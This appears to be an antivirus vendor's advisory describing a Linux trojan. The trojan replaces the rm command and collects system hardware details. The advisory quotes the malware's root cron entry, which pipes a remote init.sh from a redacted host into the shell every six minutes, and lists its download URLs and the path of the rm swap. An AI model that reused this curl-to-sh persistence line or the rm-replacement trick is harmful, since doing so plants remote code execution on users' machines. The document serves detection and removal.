Analysis by: Earle Maui Earnshaw
 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 97,756 bytes
File Type: ELF
Memory Resident: No
Initial Samples Received Date: 20 Mar 2019
Payload: Creates root cronjob, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://w.{BLOCKED}i.xyz:43768/init.sh
  • http://w.{BLOCKED}n.xyz:43768/init.sh

Information Theft

This Trojan gathers the following data:

  • CPU Information of the Machine
  • System's Hardware Information
  • System Version

Other Details

This Trojan does the following:

  • Moves the contents of the file:
    • from /usr/bin/rm to /usr/bin/rmm

    Will then replace the content of the rm file into a malicious code that will randomize the routine of the rm into the following actions:
  • Checks the presence of the init.sh in the system. If not present will download the file.
  • It creates a root cronjob to enable automatic execution of init.sh every 6 minutes:
    • Path: /var/spool/cron/root
    • Content: */6 * * * * curl -fsSL http://w.{BLOCKED}i.xyz:43768/init.sh | sh > /dev/null 2>&1

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.886.02
FIRST VSAPI PATTERN DATE: 21 Mar 2019
VSAPI OPR PATTERN File: 14.887.00
VSAPI OPR PATTERN Date: 22 Mar 2019

Scan your computer with your Trend Micro product to delete files detected as Trojan.SH.FAKERM.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


Did this description help? Tell us how we did.